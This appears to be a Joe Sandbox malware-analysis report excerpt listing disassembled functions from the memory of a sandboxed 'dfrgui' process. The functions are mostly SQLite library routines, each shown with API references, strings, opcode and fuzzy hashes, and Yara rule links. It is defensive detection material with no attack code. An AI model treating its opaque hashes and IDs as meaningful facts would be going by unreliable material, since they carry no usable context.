Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_free_table$sqlite3_execsqlite3_malloc64sqlite3_mprintfsqlite3_mutex_entersqlite3_realloc64
String ID:
API String ID: 3621699333-0
Opcode ID: 49cdd410d009c5c60e6dc54a98cf30d01d919e68cd65b05123a3aab6e8fa3962
Instruction ID: 2bb0315b9fd8656c7dfc11135548e8cf224f3702bbfcb23244ab88d3c114d46b
Opcode Fuzzy Hash: 49cdd410d009c5c60e6dc54a98cf30d01d919e68cd65b05123a3aab6e8fa3962
Instruction Fuzzy Hash: 6551D0B0A053599BEB10DFA8D58479EBBF5FF88308F208429E894AB350D775E950CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E7F0AD Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

sqlite3_step.SQLITE3(?,?,?,?,?,?,?,00000004,?,?,61E7F9F2), ref: 61E7F0EC
sqlite3_finalize.SQLITE3 ref: 61E7F16C
sqlite3_finalize.SQLITE3 ref: 61E7F1BB

Strings

#a, xrefs: 61E7F14D
null, xrefs: 61E7F123, 61E7F13C
real, xrefs: 61E7F132
integer, xrefs: 61E7F12D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_finalize$sqlite3_step
String ID: integer$null$real$#a
API String ID: 2395141310-14704807
Opcode ID: f700a5ffa2a6a0ab3cfd5d6dbd466371d8c59f7b378ec2fdfab1408dbda561cf
Instruction ID: 4bd31f607a4e8361d1f2f8ac55677c15498f9f18ac8b1eaa9c52af6293c1e55d
Opcode Fuzzy Hash: f700a5ffa2a6a0ab3cfd5d6dbd466371d8c59f7b378ec2fdfab1408dbda561cf
Instruction Fuzzy Hash: DE5128B09047558FDB14CF69D480A5ABBF0FF89324F25C96DD858AB311D378E881CB95

Uniqueness

Uniqueness Score: -1.00%

Function 61E1B482 Relevance: 13.9, APIs: 9, Instructions: 408COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E1B715
sqlite3_free.SQLITE3 ref: 61E1B7A3

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_malloc
String ID:
API String ID: 423083942-0
Opcode ID: 9707b4d36566ebc79409bd4c0694eb43f5f6542578b6686b74c4430cd1e9a97e
Instruction ID: 1063ebef09cc3e7b4e504a40b563ff33675709cdf6d7ccb25422242ac10cb902
Opcode Fuzzy Hash: 9707b4d36566ebc79409bd4c0694eb43f5f6542578b6686b74c4430cd1e9a97e
Instruction Fuzzy Hash: 7D029F74E09219DFDB04CFA8D581A8EBBF2BF48314F25C559E854AB319D730E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E26F2F Relevance: 13.8, APIs: 9, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E26F4E
sqlite3_result_error_toobig.SQLITE3 ref: 61E2702F
sqlite3_result_error_nomem.SQLITE3 ref: 61E27055
sqlite3_snprintf.SQLITE3 ref: 61E272D1
sqlite3_snprintf.SQLITE3 ref: 61E272FE
sqlite3_snprintf.SQLITE3 ref: 61E27308
sqlite3_snprintf.SQLITE3 ref: 61E2736E
sqlite3_result_text.SQLITE3 ref: 61E27491

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
String ID:
API String ID: 2444656285-0
Opcode ID: 94af4734501517e793e48dc2c573e3313890df8ca510069b24fcfa55a766f326
Instruction ID: 4d44793e144b9a2820f313a2eebc91827e5b5ebf833259aae5da6bbc5cf3bc7c
Opcode Fuzzy Hash: 94af4734501517e793e48dc2c573e3313890df8ca510069b24fcfa55a766f326
Instruction Fuzzy Hash: 73E1AF71D4839ACBDB208F58C8A0B99BBF1BF5A304F65C4A9D89897340D774D9C68F42

Uniqueness

Uniqueness Score: -1.00%

Function 61E2774C Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

sqlite3_result_value.SQLITE3 ref: 61E2777F
sqlite3_snprintf.SQLITE3 ref: 61E277C2
sqlite3_snprintf.SQLITE3 ref: 61E27802
sqlite3_result_text.SQLITE3 ref: 61E2797C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_result_value
String ID:
API String ID: 336169149-0
Opcode ID: 3df200b8f1a461f68bdf788d93f5251158f3aaba308a0e17f2d3a28bf19232aa
Instruction ID: 59a9193cccddd2f1c043736338f9cfac766812144d87cb7bc14d8ff9515d2e2d
Opcode Fuzzy Hash: 3df200b8f1a461f68bdf788d93f5251158f3aaba308a0e17f2d3a28bf19232aa
Instruction Fuzzy Hash: FD61BEB0A0C39A8ED7019F68C8A475ABFE2AB95318F29C55CE4C84B395D775C845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 61E36E74 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E36E8A
sqlite3_value_bytes.SQLITE3 ref: 61E36E97
sqlite3_get_auxdata.SQLITE3 ref: 61E36ED2
memcmp.MSVCRT ref: 61E36EFA
sqlite3_malloc64.SQLITE3 ref: 61E36F58
sqlite3_result_error_nomem.SQLITE3 ref: 61E36F69
sqlite3_free.SQLITE3 ref: 61E36F9F
sqlite3_set_auxdata.SQLITE3 ref: 61E36FD2
sqlite3_get_auxdata.SQLITE3 ref: 61E36FE1

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_get_auxdata$memcmpsqlite3_freesqlite3_malloc64sqlite3_result_error_nomemsqlite3_set_auxdatasqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 3041890313-0
Opcode ID: 375577031df126b08e877b7a2233b6e8f0c4f2ad026f26e897456626cc130d63
Instruction ID: d4c2781f6638f3cfb7ffd437c6556cfc8ea3dcd392fb2c339905c271e7fd5172
Opcode Fuzzy Hash: 375577031df126b08e877b7a2233b6e8f0c4f2ad026f26e897456626cc130d63
Instruction Fuzzy Hash: 6251D4B0A042698FCB40DFB9C584A9EBBF0AF8C318F608569E854EB340E734D981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E33EF6 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E340BA
sqlite3_malloc64.SQLITE3 ref: 61E340E7
sqlite3_free.SQLITE3 ref: 61E341C6
sqlite3_free.SQLITE3 ref: 61E341DF
memcmp.MSVCRT ref: 61E34253

Part of subcall function 61E94D20: memcmp.MSVCRT ref: 61E94D49

memcmp.MSVCRT ref: 61E3438B

Strings

0, xrefs: 61E34377

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_free$sqlite3_malloc64
String ID: 0
API String ID: 3361124181-4108050209
Opcode ID: 0dccca72ba2fd4d36ecec91ec5d10b117968ee10b702043cb1b1ea2e9803f18f
Instruction ID: 0768fe1081e9b69e3edf410ef168a4202b288a9bf622709cf2342c0b78c84549
Opcode Fuzzy Hash: 0dccca72ba2fd4d36ecec91ec5d10b117968ee10b702043cb1b1ea2e9803f18f
Instruction Fuzzy Hash: 48E11370A042698BDB11CFA8C88078DBBF1BF89318F25856AD859EB355D736D886CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E938E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 61E9390B
vfprintf.MSVCRT ref: 61E93927
abort.MSVCRT ref: 61E9392C
VirtualQuery.KERNEL32 ref: 61E939D0
VirtualProtect.KERNEL32 ref: 61E93A12

Strings

@, xrefs: 61E939FB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: fdd9a4d83f785c7ac4a36669a548c3c4cf55efd1698a5651848bcc39e431dc4c
Instruction ID: 3cc158fa83f7a296c613447eb15a0efa60065617e1f84f2c8de968e689c570ef
Opcode Fuzzy Hash: fdd9a4d83f785c7ac4a36669a548c3c4cf55efd1698a5651848bcc39e431dc4c
Instruction Fuzzy Hash: 7A41F3B1915B428FE710EF69C58461ABBE0FF85354F64CD2DE8989B350E734E884CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E32EE4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E32F19
sqlite3_value_text.SQLITE3 ref: 61E32F42
sqlite3_value_bytes.SQLITE3 ref: 61E32F4F
sqlite3_str_append.SQLITE3 ref: 61E32F6F
sqlite3_value_text.SQLITE3 ref: 61E32F79
sqlite3_value_bytes.SQLITE3 ref: 61E32F85

Strings

,)?, xrefs: 61E32F5F

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_contextsqlite3_str_append
String ID: ,)?
API String ID: 2741546359-1010226240
Opcode ID: 7d8635f7cfc349ada74e2eb2be3546356384360816e71fcc08cd628a256cc39b
Instruction ID: f5b833d64daf783a2577a34218afbc38f8240d23d1cfda83196c7f49aefc02f2
Opcode Fuzzy Hash: 7d8635f7cfc349ada74e2eb2be3546356384360816e71fcc08cd628a256cc39b
Instruction Fuzzy Hash: 98215975A046468FD700DF69C484A5ABBE1FFC8364F25C92EE8988B300D775D882CB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E38369 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E38381
sqlite3_result_error_nomem.SQLITE3 ref: 61E383AE
sqlite3_result_text.SQLITE3 ref: 61E383DF
sqlite3_result_text.SQLITE3 ref: 61E3842D
sqlite3_result_subtype.SQLITE3 ref: 61E3843D

Strings

J, xrefs: 61E38435

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_text$sqlite3_aggregate_contextsqlite3_result_error_nomemsqlite3_result_subtype
String ID: J
API String ID: 3250357221-1141589763
Opcode ID: 2a0d1d657c8e282c949d41eaad7b25c1b9e45e0c253af6e887945158fe09f359
Instruction ID: ec653ec6287599f0c595cfbfd3c38c3a41db07598e0b1053ff37f467178e8482
Opcode Fuzzy Hash: 2a0d1d657c8e282c949d41eaad7b25c1b9e45e0c253af6e887945158fe09f359
Instruction Fuzzy Hash: F0215BB05087519FDB009F28C48560ABFE0BFC5768F64CA5DE8A8CB785D374C851DB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E381D7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E381EF
sqlite3_result_error_nomem.SQLITE3 ref: 61E3821A
sqlite3_result_text.SQLITE3 ref: 61E3824B
sqlite3_result_text.SQLITE3 ref: 61E38299
sqlite3_result_subtype.SQLITE3 ref: 61E382A9

Strings

J, xrefs: 61E382A1

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_text$sqlite3_aggregate_contextsqlite3_result_error_nomemsqlite3_result_subtype
String ID: J
API String ID: 3250357221-1141589763
Opcode ID: ee44083692571ff0bb79daf76e6c4e2e5c149ce10d701330d4f3484b551bddaa
Instruction ID: 16bf8918ab645b76a71af769fa2177cb1ee8791df48233cbdeb5ed20f232067a
Opcode Fuzzy Hash: ee44083692571ff0bb79daf76e6c4e2e5c149ce10d701330d4f3484b551bddaa
Instruction Fuzzy Hash: 8A2130B0508B519BDB109F69C48560ABBE0BFC5728F24CA5DECA88B389D374C851DB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E91EAB Relevance: 12.3, APIs: 8, Instructions: 272COMMON

Download Yara Rule

APIs

sqlite3_randomness.SQLITE3 ref: 61E91F07
sqlite3_malloc64.SQLITE3 ref: 61E91F48
sqlite3_randomness.SQLITE3 ref: 61E92061
sqlite3_free.SQLITE3 ref: 61E920DC
sqlite3_free.SQLITE3 ref: 61E920E4
sqlite3_mutex_enter.SQLITE3 ref: 61E9215E
sqlite3_mutex_enter.SQLITE3 ref: 61E921EE
sqlite3_mutex_leave.SQLITE3 ref: 61E92247

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mutex_entersqlite3_randomness$sqlite3_malloc64sqlite3_mutex_leave
String ID:
API String ID: 1657278834-0
Opcode ID: 037ae5b8c333d34cbbec6e3d9a0049126deeb791c701d5475eb786d43c0ed2a5
Instruction ID: 8068adcc6f0b1ad646351a18687d857129ab8cdedc007b65eee18779acbddef4
Opcode Fuzzy Hash: 037ae5b8c333d34cbbec6e3d9a0049126deeb791c701d5475eb786d43c0ed2a5
Instruction Fuzzy Hash: C3B15C75E0924A9BCF00CFA8C48068DB7F1FF9A714F28C96AE864AB354D734E945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E27D4B Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E27D6F
sqlite3_value_bytes.SQLITE3 ref: 61E27D84
sqlite3_value_text.SQLITE3 ref: 61E27D9D
memcmp.MSVCRT ref: 61E27E96
memcmp.MSVCRT ref: 61E27EEB
sqlite3_free.SQLITE3 ref: 61E27F12
sqlite3_result_text.SQLITE3 ref: 61E27F30

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmpsqlite3_value_text$sqlite3_freesqlite3_result_textsqlite3_value_bytes
String ID:
API String ID: 3386002893-0
Opcode ID: f64447981622f53cecfa20fa162f52d556e154730efa79d9c09943a78c8dcd64
Instruction ID: f05443a4a6d11a3577d3b07827b37d9fe96948bfa4a033d1d3c2008329084dbf
Opcode Fuzzy Hash: f64447981622f53cecfa20fa162f52d556e154730efa79d9c09943a78c8dcd64
Instruction Fuzzy Hash: 24619F71E042568FDB01CFA8C5A0A9DBBF1AF99314F25C56EE895AB390D730DC41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 61E72F0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

invalid rootpage, xrefs: 61E73095
orphan index, xrefs: 61E7308E

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: invalid rootpage$orphan index
API String ID: 0-4061570254
Opcode ID: b6d04ae7ccb6def1b923bab4c7159ad02e584b906af7b37076cfa7070bd1cc2e
Instruction ID: 4692fa2f0f1ad511ff841e00a3feedf71fcc3f2a9b0da536d8eb7a991d4b5170
Opcode Fuzzy Hash: b6d04ae7ccb6def1b923bab4c7159ad02e584b906af7b37076cfa7070bd1cc2e
Instruction Fuzzy Hash: 4E51AC74A043458FEB62CF68C480B9ABBF1AF89308F24C56DE8998F351D731D842CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3C75B Relevance: 10.6, APIs: 7, Instructions: 112COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E3C783
sqlite3_value_int.SQLITE3 ref: 61E3C795
sqlite3_value_text.SQLITE3 ref: 61E3C7AB
sqlite3_value_text.SQLITE3 ref: 61E3C7B9
sqlite3_result_text.SQLITE3 ref: 61E3C89B
sqlite3_free.SQLITE3 ref: 61E3C8A6
sqlite3_result_error_code.SQLITE3 ref: 61E3C8BC

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
